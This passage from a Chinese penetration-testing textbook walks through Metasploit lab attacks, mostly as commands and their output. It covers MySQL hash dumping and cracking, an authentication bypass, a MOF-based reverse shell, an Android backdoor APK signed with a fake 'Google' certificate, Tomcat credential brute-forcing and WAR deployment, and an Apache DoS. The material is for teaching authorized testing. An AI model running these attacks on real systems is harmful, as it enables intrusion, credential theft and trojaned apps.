从输出的信息中可以看到，枚举到的信息包括MySQL的版本号、操作系统架构、路径及密码Hash等信息。
 
4．导出Hash值并破解
 
在Metasploit中提供了一个mysql_hashdump模块，可以导出MySQL数据库用户的密码Hash值。然后使用jtr_mysql_fast进行破解。下面介绍具体的实施方法。
 
【实例6-15】使用mysql_hashdump模块导出密码Hash值。具体操作步骤如下：
 
（1）选择mysql_hashdump模块。执行命令如下：
 


msf5 > use auxiliary/scanner/mysql/mysql_hashdump 

msf5 auxiliary(mysql_hashdump) >




 
（2）查看模块配置选项并进行配置，具体如下：
 


msf5 auxiliary(mysql_hashdump) > show options 

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name            Current Setting     Required    Description

   ----------    ---------------     --------      -----------

   PASSWORD                               no           The password for the

                                                 specified username

   RHOSTS                               yes           The target address range or

                                                    CIDR identifier

   RPORT          3306                  yes           The target port (TCP)

   THREADS        1                     yes             The number of concurrent

                                                    threads

   USERNAME                            no            The username to authenticate as

msf5 auxiliary(mysql_hashdump) > set RHOSTS 192.168.1.105

RHOSTS => 192.168.1.105

msf5 auxiliary(mysql_hashdump) > set USERNAME root

USERNAME => root

msf5 auxiliary(mysql_hashdump) > set PASSWORD 123456

PASSWORD => 123456




 
（3）实施攻击，具体如下：
 


msf5 auxiliary(mysql_hashdump) > exploit 

[+] Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67

     ED2CA2AD9

[+] Saving HashString as Loot: root:

[+] Saving HashString as Loot: root:

[+] Saving HashString as Loot: :

[+] Saving HashString as Loot: :

[+] Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67

     ED2CA2AD9

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(mysql_hashdump) > loot 




 
从输出的信息中可以看到，成功提取到MySQL数据库用户root的密码Hash值，Hash值为6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9。接下来即可使用jtr_mysql_fast模块将该Hash值破解出来，具体如下：
 


msf5 auxiliary(mysql_hashdump) > use auxiliary/analyze/jtr_mysql_fast 

msf5 auxiliary(jtr_mysql_fast) > exploit 

[*] Wordlist file written out to /tmp/jtrtmp20170507-98405-fwrg1

[*] Hashes Written out to /tmp/hashes_tmp20170507-98405-wfbrwd

[*] Cracking mysql hashes in normal wordlist mode...

Created directory: /root/.john

[*] No password hashes loaded (see FAQ)

[*] Cracking mysql hashes in single mode...

[*] No password hashes loaded (see FAQ)

[*] Cracking mysql hashes in incremental mode (Digits)...

Invalid options combination or duplicate option: "--incremental=Digits"

[*] Cracked Passwords this run:

[*] Cracking mysql-sha1 hashes in normal wordlist mode...

[*] Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])

Press 'q' or Ctrl-C to abort, almost any other key for status

[*] 123456           (root)

1g 0:00:00:00 DONE (Wed May 07 19:37:02 2017) 25.00g/s 2700p/s 2700c/s 2700C/s 123454321..12345678

Use the "--show" option to display all of the cracked passwords reliably

Session completed

[*] Cracking mysql-sha1 hashes in single mode...

[*] Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])

[*] No password hashes left to crack (see FAQ)

[*] Cracking mysql-sha1 hashes in incremental mode (Digits)...

Invalid options combination or duplicate option: "--incremental=Digits"

[*] Cracked Passwords this run:

[+] root:123456:31:

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，成功破解出Hash值的原始密码为123456。
 
5．MySQL认证漏洞利用（CVE-2012-2122）
 
MySQL认证漏洞也被称为MySQL任意用户密码大概率登录漏洞。按照公告说法大约256次就能够猜对一次。所有MariaDB和MySQL 5.1.61/5.2.11/5.3.5/5.5.22之前的版本中都存在该漏洞。MariaDB是从MySQL发展而来的一款数据库服务器，是一款开源数据库。MariaDB 5.1.62/5.2.12/5.3.6/5.5.23之前的版本和MySQL 5.1.63/5.5.24/5.6.6之前的版本在用户验证的处理上存在安全漏洞，可以使攻击者无须知道正确口令就能登录到MySQL服务器。
 
用户连接到MariaDB/MySQL后，应用会计算和比较令牌值。由于错误的转换，即使memcmp（）返回非零值，也可能出现错误的比较，造成MySQL/MariaDB误认为密码是正确的。因为协议使用的是随机字符串，该Bug发生的几率为1/256。MySQL的版本是否受影响取决于程序的编译方式，很多版本（包括官方提供的二进制文件）并不受此漏洞的影响。也就是说，只要知道用户名，不断尝试登录就能直接登入SQL数据库。
 
【实例6-16】下面介绍使用mysql_authbypass_hashdump模块利用MySQL认证漏洞实施攻击的方法。具体操作步骤如下：
 
（1）选择mysql_authbypass_hashdump模块，并查看该模块的配置选项，具体如下：
 


msf5 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump 

msf5 auxiliary(mysql_authbypass_hashdump) > show options 

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

   Name          Current Setting    Required     Description

   -------    ---------------    --------     -----------

   RHOSTS                        yes             The target address range or CIDR

                                         identifier

   RPORT        3306              yes           The target port (TCP)

   THREADS     1                  yes           The number of concurrent threads

   USERNAME    root               yes           The username to authenticate as




 
从输出信息中可以看到，这里需要配置RHOSTS选项参数。
 
（2）配置RHOSTS选项参数如下：
 


msf5 auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.1.105

RHOSTS => 192.168.1.105


 
（3）实施渗透攻击，具体如下：
 


msf5 auxiliary(mysql_authbypass_hashdump) > exploit 

[+] 192.168.1.105:3306 The server allows logins, proceeding with bypass test

[*] 192.168.1.105:3306 Authentication bypass is 10% complete

[*] 192.168.1.105:3306 Authentication bypass is 20% complete

[*] 192.168.1.105:3306 Authentication bypass is 30% complete

[*] 192.168.1.105:3306 Authentication bypass is 40% complete

[*] 192.168.1.105:3306 Authentication bypass is 50% complete

[*] 192.168.1.105:3306 Authentication bypass is 60% complete

[*] 192.168.1.105:3306 Authentication bypass is 70% complete

[*] 192.168.1.105:3306 Authentication bypass is 80% complete

[*] 192.168.1.105:3306 Authentication bypass is 90% complete

[*] 192.168.1.105:3306 Authentication bypass is 100% complete

[-] 192.168.1.105:3306 Unable to bypass authentication, this target may not be vulnerable

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
以上就是渗透攻击的一个过程，从显示的信息中可以看到没有成功绕过认证。是否能成功绕过MySQL数据库认证，就需要看自己的运气了。
 
6．利用MOF提权
 
当渗透测试者获得目标主机MySQL数据库用户的密码后，即可利用MOF提取。在Metasploit下，可以使用mysql_mof模块来实现MOF提取，并且获得一个Meterpreter会话。但是，mysql_mof模块是针对安装在Windows下的MySQL数据库实施的。下面在Windows系统中安装一个版本为5.5.20的MySQL数据库，并实现MOF提取。
 
【实例6-17】实现MOF提取。具体操作步骤如下：
 
（1）使用mysql_mof模块，并查看该模块的选项参数，具体如下：
 


msf5 > use exploit/windows/mysql/mysql_mof 

msf5 exploit(mysql_mof) > show options 

Module options (exploit/windows/mysql/mysql_mof):

   Name       Current Setting    Required    Description

   -------    ---------------    --------    -----------

   PASSWORD                     yes          The password to authenticate with

   RHOSTS                        yes             The target address range or CIDR

                                             identifier

   RPORT        3306              yes           The target port (TCP)

   USERNAME                     yes           The username to authenticate as

Exploit target:

   Id  Name

   --  ------------------------------------------------

   0   MySQL on Windows prior to Vista




 
从以上显示的选项参数中可知，用户需要配置PASSWORD、RHOST和USERNAME参数。
 
（2）配置选项参数。执行命令如下：
 


msf5 exploit(mysql_mof) > set RHOSTS 192.168.1.109

RHOST => 192.168.1.109

msf5 exploit(mysql_mof) > set USERNAME root

USERNAME => root

msf5 exploit(mysql_mof) > set PASSWORD 123456

PASSWORD => 123456




 
（3）实施渗透攻击。执行命令如下：
 


msf5 exploit(mysql_mof) > exploit 

[*] Started reverse TCP handler on 192.168.1.108:4444 

[*] 192.168.1.109:3306 - Attempting to login as 'root:123456'

[*] 192.168.1.109:3306 - Uploading to 'C:/windows/system32/dXwiF.exe'

[*] 192.168.1.109:3306 - Uploading to 'C:/windows/system32/wbem/mof/TmtSj.mof'

[*] Sending stage (957487 bytes) to 192.168.1.109

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.109:3942) at 2017-05-07 13:32:59 +0800

[+] Deleted wbem\mof\good\TmtSj.mof

[!] This exploit may require manual cleanup of 'dXwiF.exe' on the target

meterpreter >




 
从输出的信息中可以看到，已经成功获取到Meterpreter会话连接，由此说明提取成功。
6.3　Android系统
 
Android是一种基于Linux的自由及开放源代码的操作系统，主要使用于移动设备中，如智能手机和平板电脑等。对于Andorid系统，使用Metasploit渗透的最好方法就是创建后门程序。在Metasploit中，提供了android/meterpreter/reverse_tcp模块可用来创建Android后门程序。本节将介绍通过创建后门程序，渗透攻击Android系统的方法。
 
【实例6-18】渗透攻击Andorid系统。使用msfvenom命令创建Android后门程序。执行命令如下：
 


root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168. 1.108 LPORT=4444 R > /root/android.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 8830 bytes




 
成功执行以上命令后，表示已经成功创建了Android格式（APK）文件的有效载荷。但是，现在Android移动设备一般不允许安装没有相应签名证书的应用程序，只安装带有签署文件的APK。所以，渗透测试者需要使用3个工具（keytool、jarsigner和zipalign）进行手动签名，然后才可以在Android系统上安装应用程序。下面介绍手动签名的方法。
 
【实例6-19】对创建的有效载荷文件android.apk文件进行手动签名。在Kali Linux中，已经自带了keytool和jarsigner工具。虽然没有zipalign工具，但是提供了安装包，用户手动安装即可使用。下面这些操作将在Kali Linux中进行。具体操作步骤如下：
 
（1）安装zipalign工具。执行命令如下：
 


root@kali:~# apt-get install zipalign




 
执行以上命令后，如果没有报任何错误信息，则说明成功安装了zipalign。
 
（2）使用keytool工具创建秘钥库。keytool工具的语法格式如下：
 


keytool [选项]




 
keytool工具的常用选项及含义如下：
 
·-genkey：在用户主目录中创建一个默认文件.keystore，还会产生一个mykey的别名。mykey中包含用户的公钥、私钥和证书。

·-alias：产生别名。

·-keystore：指定秘钥库的名称（产生的各类信息将不在.keystore文件中）。

·-keyalg：指定密钥的算法，如RSA、DSA。如果不指定的话，默认使用DSA。

·-validity：指定创建的证书有效期天数，默认为90天。

·-keysize：指定秘钥长度。

·-storepass：指定秘钥库的密码（获取keystore信息所需的密码）。

·keypass：指定别名条目的密码（私钥的密码）。

·-dname：指定证书拥有者信息。例如："CN=名字与姓氏，OU=组织单位名称，O=组织名称，L=城市或区域名称，ST=州或省份名称，C=单位的两字母国家代码"。

·-list：显示密钥库中的证书信息。

·-export：将指定的证书导出到文件中。

·-file：指定导出到文件的文件名。

·-delete：删除密钥库中的某个条目。

·-printcert：查看导出的证书信息。

·-keypasswd：修改密钥库中指定的条目口令。

·-storepasswd：修改keystore口令。

·-import：将已签名的数字证书导入密钥库。
 
接下来即可创建密钥库了，执行命令如下：
 


root@kali:~# keytool -genkey -v -keystore /root/key.keystore -alias android -keyalg RSA -keysize 2048 -validity 365 -storepass 123456 -dname "CN= Android,OU=Google,O=Google,L=IL,ST=NY,C=US"

正在为以下对象生成 2,048 位RSA密钥对和自签名证书 (SHA256withRSA) (有效期为 365 天):

    CN=Android, OU=Google, O=Google, L=IL, ST=NY, C=US

输入 <android> 的密钥口令                            #为了方便记忆，直接回车

    (如果和密钥库口令相同, 按回车):  

[正在存储/root/key.keystore]




 
从输出的信息中可以看到，密钥库被保存在/root/key.keystore文件中了。
 
（3）使用JARsigner工具签名APK。语法格式如下：
 


jarsigner [选项] jar文件别名




 
JARsigner工具常用的选项及含义如下：
 
·-verbose：签名/验证时输出详细信息。

·-sigalg：签名算法的名称。

·-digestalg：摘要算法的名称。

·-keystore：秘钥库位置。
 
此时即可指定不同的选项对APK文件签名。执行命令如下：
 


root@kali:~# jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/key.keystore /root/android.apk android

输入密钥库的密码短语:             #输入秘钥库的密码短语，即创建秘钥库时设置的密码

   正在添加: META-INF/ANDROID.SF

   正在添加: META-INF/ANDROID.RSA

  正在签名: classes.dex

  正在签名: AndroidManifest.xml

  正在签名: resources.arsc

jar 已签名。

警告: 

未提供 -tsa 或 -tsacert, 此 jar 没有时间戳。如果没有时间戳, 则在签名者证书的到期日期 (2017-05-24) 或以后的任何撤销日期之后, 用户可能无法验证此 jar。




 
输出的信息提示jar已签名。最后一行是警告信息，该条信息不影响对文件的签名，所以可以忽略该信息。
 
（4）为了确认文件是否签名成功。这里再次使用JARsigner验证签名。执行命令如下：
 


oot@kali:~# jarsigner -verify -verbose -certs /root/android.apk

s        258 Tue May 24 16:49:30 CST 2016 META-INF/MANIFEST.MF

      X.509, CN=Android, OU=Google, O=Google, L=IL, ST=NY, C=US

      [证书的有效期为2016-5-24 下午5:44至2017-5-24 下午5:44]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

      X.509, CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown

      [证书的有效期为2014-10-23 上午5:47至2034-10-18 上午5:47]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

         392 Tue May 24 17:46:56 CST 2016 META-INF/ANDROID.SF

        1311 Tue May 24 17:46:56 CST 2016 META-INF/ANDROID.RSA

         272 Tue May 24 16:49:30 CST 2016 META-INF/SIGNFILE.SF

        1531 Tue May 24 16:49:30 CST 2016 META-INF/SIGNFILE.RSA

           0 Tue May 24 16:49:30 CST 2016 META-INF/

sm     11056 Tue May 24 16:49:30 CST 2016 classes.dex

      X.509, CN=Android, OU=Google, O=Google, L=IL, ST=NY, C=US

      [证书的有效期为2016-5-24 下午5:44至2017-5-24 下午5:44]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

      X.509, CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown

      [证书的有效期为2014-10-23 上午5:47至2034-10-18 上午5:47]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

sm      5748 Tue May 24 16:49:30 CST 2016 AndroidManifest.xml

      X.509, CN=Android, OU=Google, O=Google, L=IL, ST=NY, C=US

      [证书的有效期为2016-5-24 下午5:44至2017-5-24 下午5:44]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

      X.509, CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown

      [证书的有效期为2014-10-23 上午5:47至2034-10-18 上午5:47]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

sm       572 Tue May 24 16:49:30 CST 2016 resources.arsc

      X.509, CN=Android, OU=Google, O=Google, L=IL, ST=NY, C=US

      [证书的有效期为2016-5-24 下午5:44至2017-5-24 下午5:44]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

      X.509, CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown

      [证书的有效期为2014-10-23 上午5:47至2034-10-18 上午5:47]

      [CertPath 未验证: Path does not chain with any of the trust anchors]

  s = 已验证签名 

  m = 在清单中列出条目

  k = 在密钥库中至少找到了一个证书

  i = 在身份作用域内至少找到了一个证书

jar 已验证。

警告: 

此 jar 包含证书链未验证的条目。

此 jar 包含的签名没有时间戳。如果没有时间戳, 则在签名者证书的到期日期 (2017-05-24) 或以后的任何撤销日期之后, 用户可能无法验证此jar。




 
从输出信息中，可以看到提示jar已验证。
 
（5）使用zipalign验证该APK文件。语法格式如下：
 


zipalign -v 4 [源APK文件] [新的APK文件]




 
在以上语法中，参数-v表示输出详细信息，4表示对齐为4字节。这里将在源APK文件（android.apk）验证后，重新保存为pentest.apk。
 
执行命令如下：
 


root@kali:~# zipalign -v 4 /root/android.apk /root/pentest.apk

Verifying alignment of /root/pentest.apk (4)...

      50 META-INF/MANIFEST.MF (OK - compressed)

     287 META-INF/ANDROID.SF (OK - compressed)

     630 META-INF/ANDROID.RSA (OK - compressed)

    1752 META-INF/ (OK)

    1802 META-INF/SIGNFILE.SF (OK - compressed)

    2087 META-INF/SIGNFILE.RSA (OK - compressed)

    2751 classes.dex (OK - compressed)

    8282 AndroidManifest.xml (OK - compressed)

    9785 resources.arsc (OK - compressed)

Verification successful




 
输出信息提示已验证成功。接下来，就可以在任何设备上安装该APK文件（pentest.apk）进行渗透测试了。
 
攻击载荷文件APK已经准备完成。接下来将该APK文件发送到目标Android系统，然后启动Metasploit监听器，等待与目标主机的连接。具体方法如下：
 
（1）创建监听器，具体如下：
 


msf5 > use exploit/multi/handler                         #使用监听模块

msf5 exploit(handler) > set payload android/meterpreter/reverse_tcp

                                                            #加载Payload

payload => android/meterpreter/reverse_tcp

msf5 exploit(handler) > show options                     #查看选项配置

Module options (exploit/multi/handler):

   Name          Current Setting      Required      Description

   --------    ---------------     --------      -----------

Payload options (android/meterpreter/reverse_tcp):

   Name                  Current Setting      Required     Description

   -----------         ---------------     --------     -----------

   AutoLoadAndroid    true                     yes           Automatically load the

                                                     Android extension

   LHOST                                      yes           The listen address

   LPORT                  4444                    yes           The listen port

Exploit target:

   Id      Name

   --      ------------------------

   0       Wildcard Target

msf5 exploit(handler) > set LHOST 192.168.1.108            #设置监听主机地址

LHOST => 192.168.1.108

msf5 exploit(handler) > exploit                         #启动监听

[*] Started reverse TCP handler on 192.168.1.108:4444 

[*] Starting the payload handler...




 
经过以上的操作，攻击主机的监听器就建立完成了。
 
（2）在目标Android系统上安装并运行攻击载荷APK（pentest.apk）文件。在运行APK文件后，目标Android系统将与攻击主机建立一个Meterpreter会话连接，具体如下：
 


[*] Sending stage (60790 bytes) to 192.168.1.110

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.110:33972) at 2017-05-07 17:55:47 +0800

meterpreter >




 
从以上显示的信息中可以看到，成功打开了一个Meterpreter会话连接。此时可以对目标主机的Android系统做进一步渗透。例如，查看目标系统信息：
 


meterpreter > sysinfo 

Computer    : localhost

OS          : Android 4.1.1 - Linux 3.0.8+ (armv7l)

Meterpreter : java/android

meterpreter >




 
从输出的信息中可以看到，目标主机的操作系统为Android，其版本为4.1.1。
6.4　网站
 
网站是指在互联网上，根据一定的规则，使用HTML等工具制作的用于展示特定内容的相关网页的集合。简单地说，网站是一种通信工具，就像布告栏一样，人们可以通过网站发布自己想要公开的信息，或者利用网站提供相关的网络服务。人们可以通过网页浏览器访问网站，获取自己需要的资讯或者享受网络服务。通常，在一个网站上会搭建有Web服务器、MySQL服务、FTP服务等。如果这些服务中存在漏洞，攻击者即可利用这些漏洞。另外，网站是由多个网页构成，但是网页又是通过一些源代码编写出来的，如果编写网页，则需要有对应的开发环境，如Java等，而在开发环境中也可能会存在各种漏洞，因此攻击者也可以进行漏洞利用。本节介绍对网站实施渗透攻击的实例。
6.4.1　渗透攻击Tomcat服务
 
Tomcat服务器是一个免费的开放源代码的Web应用服务器。它可以运行在Linux和Windows等多个平台上。由于其性能稳定、扩展性好、免费等特点，深受广大用户的喜爱。目前，互联网上绝大多数Java Web等应用都运行在Tomcat服务器上。Tomcat默认存在一个管理后台，默认的管理地址是http://IP或域名：端口/manager/html。通过此后台，可以在不重启Tomcat服务的情况下方便地部署、启动、停止或卸载Web应用。但是如果配置不当的话则会存在很大的安全隐患。攻击者利用这个漏洞，可以非常快速、轻松地入侵一台服务器。本节将介绍渗透攻击Tomcat服务的方法。
 
【实例6-20】利用tomcat_mgr_login模块，暴力破解目标主机（Metasploitable 2）下Tomcat服务的用户名和密码。具体操作步骤如下：
 
（1）使用Tomcat的tomcat_mgr_login模块进行渗透攻击。执行命令如下：
 


msf5 auxiliary(postgres_login) > use auxiliary/scanner/http/tomcat_mgr_login 

msf5 auxiliary(tomcat_mgr_login) >




 
（2）查看tomcat_mgr_login模块的有效选项。执行命令如下：
 


msf5 auxiliary(tomcat_mgr_login) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name             Current Setting      Required       Description

   ---------     ---------------      ---------      -----------------------

BLANK_PASSWORDS        false          no        Try blank passwords for all users

BRUTEFORCE_SPEED        5              yes    How fast to bruteforce, from 0 to 5

DB_ALL_CREDS            false          no        Try each user/password couple

                                         stored in the current database

DB_ALL_PASS            false          no        Add all passwords in the current

                                         database to the list

DB_ALL_USERS            false          no        Add all users in the current

                                            database to the list

PASSWORD                              no        A specific password to authenticate

                                            with

PASS_FILE            /usr/share/metasploit-framework/data/wordlists/

                        tomcat_mgr_default_pass.txt

                                      no        File containing passwords,

                                          one per line

Proxies                              no        Use a proxy chain

RHOSTS                              yes    The target address range or CIDR

                                            identifier

RPORT                8080          yes    The target port (TCP)

STOP_ON_SUCCESS        false          yes    Stop guessing when a credential

                                            works for a host

  TARGETURI        /manager/html      yes       URI for Manager login. Default is

                                            /manager/html

THREADS                1              yes    The number of concurrent threads

URI                /manager/html

                                      yes    URI for Manager login. Default is

                                            /manager/html

USERNAME                              no        A specific username to authenticate as

USERPASS_FILE    /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_

                    default_userpass.txt  

                                      no        File containing users and passwords

                                            separated by space, one pair per

                                            line

USER_AS_PASS        false              no        Try the username as the password for

                                            all users

USER_FILE        /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_

                    default_users.txt

                                      no        File containing users, one per line

VERBOSE            true                yes    Whether to print output for all

                                         attempts

VHOST                              no        HTTP server virtual host




 
以上输出的信息显示了tomcat_mgr_login模块中的有效选项。接下来，对该模块的一些选项进行配置。
 
（3）配置模块选项参数。执行命令如下：
 


msf5 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.107

RHOSTS => 192.168.1.107

msf5 auxiliary(tomcat_mgr_login) > set RPORT 8180

RPORT => 8180




 
以上参数表示设置了目标主机的地址和Tomcat服务的端口。在该模块中自带了用于暴力破解的密码字典，所以这里使用默认的字典。
 
（4）实施暴力破解。执行命令如下：
 


msf5 > exploit

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: admin:admin (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: admin:manager (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: admin:role1 (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: admin:root (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: admin:tomcat (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: admin:s3cret (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: manager:admin (Incorrect: )

[+] 192.168.1.107:8180 - LOGIN SUCCESSFUL: tomcat:tomcat

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: both:admin (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: both:manager (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: both:role1 (Incorrect: )

[-] 192.168.1.107:8180 TOMCAT_MGR - LOGIN FAILED: both:root (Incorrect: )

 [*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
以上输出信息显示了暴力破解Tomcat服务用户密码的过程。从输出的结果中可以看到，已成功破解出Tomcat服务的用户名和密码。其用户名和密码都为tomcat。
 
当用户成功破解出Tomcat服务的用户名和密码后，即可利用该用户密码做进一步渗透，并可以获得Meterpreter会话连接。
 
【实例6-21】利用tomcat_mgr_deploy模块做进一步渗透。具体操作步骤如下：
 
（1）搜索模块的全路径。执行命令如下：
 


msf5 > search tomcat_mgr_deploy

Matching Modules

================

   Name               Disclosure Date          Rank      Check    Description

   --------------     ------------------         -----    -------   ---------

   exploit/multi/http/tomcat_mgr_deploy        2009-11-09       excellent  Yes  Apache Tomcat Manager Application Deployer Authenticated Code Execution




 
（2）使用模块，并查看模块的选项参数。执行命令如下：
 


msf5 > use exploit/multi/http/tomcat_mgr_deploy 

msf5 exploit(tomcat_mgr_deploy) > show options 

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name        Current Setting        Required    Description

   --------    ---------------        ------        ----------------------------

   PASSWORD                         no             The password for the specified

                                             username

   PATH       /manager              yes           The URI path of the manager app

                                                (/deploy and /undeploy will be used)

   Proxies                           no            A proxy chain of format type:

                                              host:port[,type:host:port][...]

   RHOSTS                           yes           The target address range or

                                                CIDR identifier

   RPORT      80                       yes           The target port (TCP)

   USERNAME                          no            The username to authenticate as

   VHOST                            no            HTTP server virtual host

Exploit target:

   Id  Name

   --  ----

   0   Automatic




 
（3）配置选项参数如下：
 


msf5 exploit(tomcat_mgr_deploy) > set RHOSTS 192.168.1.107

RHOST => 192.168.1.107

msf5 exploit(tomcat_mgr_deploy) > set USERNAME tomcat

USERNAME => tomcat

msf5 exploit(tomcat_mgr_deploy) > set PASSWORD tomcat

PASSWORD => tomcat

msf5 exploit(tomcat_mgr_deploy) > set RPORT 8180

RPORT => 8180




 
（4）实施渗透攻击。执行命令如下：
 


msf5 exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse TCP handler on 192.168.1.108:4444 

[*] Attempting to automatically select a target...

[*] Automatically selected target "Linux x86"

[*] Uploading 6082 bytes as rsRQpCBckVLdolsjdsc.war ...

[*] Executing /rsRQpCBckVLdolsjdsc/Zyw3kxM.jsp...

[*] Undeploying rsRQpCBckVLdolsjdsc ...

[*] Sending stage (45718 bytes) to 192.168.1.107

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.107:52046) at 2017-05-07 18:37:18 +0800

meterpreter >




 
从输出信息中可以看到，已成功与目标主机建立了一个Meterpreter会话。
6.4.2　CVE-2010-0425漏洞
 
Apache HTTP Server（2.2.14之前的版本，并且是2.2.X系列）的核心mod_isap模块modules/arch/win32/mod_isapi.c中存在安全漏洞。如果远程用户在向Apache服务器的mod_isapi模块发送了特制的请求之后又发送了重置报文，就可能导致从内存中卸载目标ISAPI模块。但函数仍在内存中，在引用发布的ISAP函数时仍可调用，这就造成了悬挂指针（野指针）问题。成功利用该漏洞的攻击者，可以以SYSTEM权限执行任意代码。下面将介绍利用CVE-2010-0425漏洞的方法。
 
【实例6-22】利用CVE-2010-0425漏洞卸载目标主机（Metasploitable2）的ISAPI模块。具体操作步骤如下：
 
（1）搜索CVE-2010-0425漏洞的完整路径。执行命令如下：
 


msf5 > search CVE-2010-0425

Matching Modules

================

   Name                   Disclosure Date         Rank      Check     Description

   -------------        ----------------         ------     ------------------

   auxiliary/dos/http/apache_mod_isapi    2010-03-05    normal    No    Apache mod_isapi Dangling Pointer




 
从输出信息中可以看到，CVE-2010-0425漏洞的完整路径为auxiliary/dos/http/apache_mod_isapi。
 
（2）使用dos/http/apache_mod_isapi模块，并查看该模块的配置选项参数，执行命令如下：
 


msf5 > use auxiliary/dos/http/apache_mod_isapi 

msf5 auxiliary(apache_mod_isapi) > show options 

Module options (auxiliary/dos/http/apache_mod_isapi):

   Name      Current Setting    Required      Description

   -----      --------------    -------          ------------------------------

   ISAPI      /cgi-bin/SMTPSend.dll      yes      ISAPI URI to request

   RHOSTS                             yes       The target address range or CIDR

                                           identifier

   RPORT      80                         yes       The target port (TCP)




 
从以上输出的信息中可以看到，需要配置目标地址选项。
 
（3）配置选项参数如下：
 


msf5 auxiliary(apache_mod_isapi) > set RHOSTS 192.168.1.102

RHOST => 192.168.1.102




 
（4）实施渗透攻击。执行命令如下：
 


msf5 auxiliary(apache_mod_isapi) > exploit 

[*] Causing the ISAPI dll to be loaded and unloaded...

[*] Triggering the crash ...

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，已成功将目标主机的ISAPI模块卸载。
6.4.3　探测网站是否启用WebDAV
 
WebDAV（Web-based Distributed Authoring and Versioning）是一种基于HTTP 1.1协议的通信协议。它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法，使应用程序可直接对Web服务器进行读/写，并设置写文件锁定及解锁，还可以支持文件的版本控制。下面介绍利用scanner/http/webdav_scanner模块探测Web服务器是否启用WebDAV功能。
 
【实例6-23】使用scanner/http/webdav_scanner模块探测目标（192.168.1.0/24）中的Web服务器是否启用WebDAV功能。具体操作步骤如下：
 
（1）使用scanner/http/webdav_scanner模块，并查看该模块的选项参数。执行命令如下：
 


msf5 > use auxiliary/scanner/http/webdav_scanner

msf5 auxiliary(webdav_scanner) > show options 

Module options (auxiliary/scanner/http/webdav_scanner):

   Name     Current Setting     Required    Description

   -----     ---------------     -------    --------------------------------

   PATH       /                     yes           Path to use

   Proxies                          no          A proxy chain of format type:host:

                                         port[,type:host:port][...]

   RHOSTS                        yes            The target address range or CIDR

                                            identifier

   RPORT      80                   yes           The target port (TCP)

   SSL          false             no            Negotiate SSL/TLS for outgoing

                                            connections

   THREADS    1                    yes           The number of concurrent threads

   VHOST                          no            HTTP server virtual host




 
从以上输出信息中可以看到，这里需要配置RHOSTS参数。
 
（2）配置RHOSTS参数。执行命令如下：
 


msf5 auxiliary(webdav_scanner) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24




 
（3）实施渗透攻击。执行命令如下：
 


msf5 auxiliary(webdav_scanner) > exploit 

[*] Scanned  26 of 256 hosts (10% complete)

[*] Scanned  52 of 256 hosts (20% complete)

[*] Scanned  77 of 256 hosts (30% complete)

[*] 192.168.1.101 (Apache/2.2.8 (Ubuntu) DAV/2) WebDAV disabled.

[*] Scanned 103 of 256 hosts (40% complete)

[*] 192.168.1.103 (Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.6) WebDAV disabled.

[*] 192.168.1.105 (Apache/2.2.15 (Red Hat)) WebDAV disabled.

[*] Scanned 128 of 256 hosts (50% complete)

[*] Scanned 154 of 256 hosts (60% complete)

[*] Scanned 180 of 256 hosts (70% complete)

[*] Scanned 205 of 256 hosts (80% complete)

